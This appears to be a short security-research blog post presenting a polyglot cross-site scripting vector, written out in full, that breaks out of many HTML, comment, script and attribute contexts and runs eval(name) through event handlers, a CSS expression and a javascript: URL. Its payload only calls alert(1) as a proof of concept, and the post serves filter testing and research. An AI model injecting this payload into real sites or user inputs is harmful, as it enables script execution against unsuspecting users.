One vector to rule them all

I set myself a fun challenge to create a vector that would execute in many contexts. The idea being that it should work regardless where it's placed. For example:-

<pre lang="javascript"> "xss" 'xss' &lt;tag alt="xss"&gt; </pre>

As an added challenge I tried to execute only the one payload and where possible to use a single eval. I had to use multiple evals as the contexts increased because for stuff like background= etc there was no way I could figure reusing the existing one :( So I had around 19 then got bored.

One vector to xss them all, one vector to find them, One vector to bring them all and in the darkness bind them.

<code lang="javascript"> javascript:/*--&gt;]]&gt;%&gt;?&gt;&lt;/script&gt;&lt;/title&gt;&lt;/textarea&gt;&lt;/noscript&gt;&lt;/style&gt;&lt;/xmp&gt;&quot;&gt;[img=1,name=/alert(1)/.source]&lt;img -/style=a:expression&amp;#40&amp;#47&amp;#42'/-/*&amp;#39,/**/eval(name)/*%2A///*///&amp;#41;;width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//&gt;&quot; </code>

Updated added new vectors and removed any that weren't required. Thanks to @LeverOne!!

2nd Update...Fixed comments, added name to [] rule so it executes without window.name for dom rules. Thanks again for some fixes by @LeverOne